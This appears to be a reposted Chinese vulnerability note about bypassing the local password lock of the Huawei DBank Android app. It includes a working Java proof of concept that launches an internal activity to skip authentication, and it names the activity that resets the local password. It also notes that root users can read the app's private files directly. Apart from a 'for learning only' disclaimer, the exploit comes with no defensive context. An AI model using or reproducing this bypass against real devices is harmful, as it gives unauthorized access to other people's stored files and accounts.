本文为网络收集,如有侵权联系删除,仅供学习使用
root的话直接看私有文件就可以了,做个简单加密嗮。
2.非root的话直接启动其他activity即可绕过认证,本地认证只是简单topActivity。
poc如下
public void activityStart(View v) { ComponentName componetName = new ComponentName("com.huawei.dbank.v7", "com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity"); try { Intent intent = new Intent(); intent.setComponent(componetName); startActivity(intent); } catch (Exception e) { Toast.makeText(getApplicationContext(), "Not found", 0).show(); } }
启动com.huawei.dbank.v7.ui.newbietask.NewbieTaskActivity这个activity组件再返回即可进入主界面。
启动设置本地的密码的activity:com.huawei.dbank.v7.ui.setting.LocalPassWordInitActivity,即可重置本地密码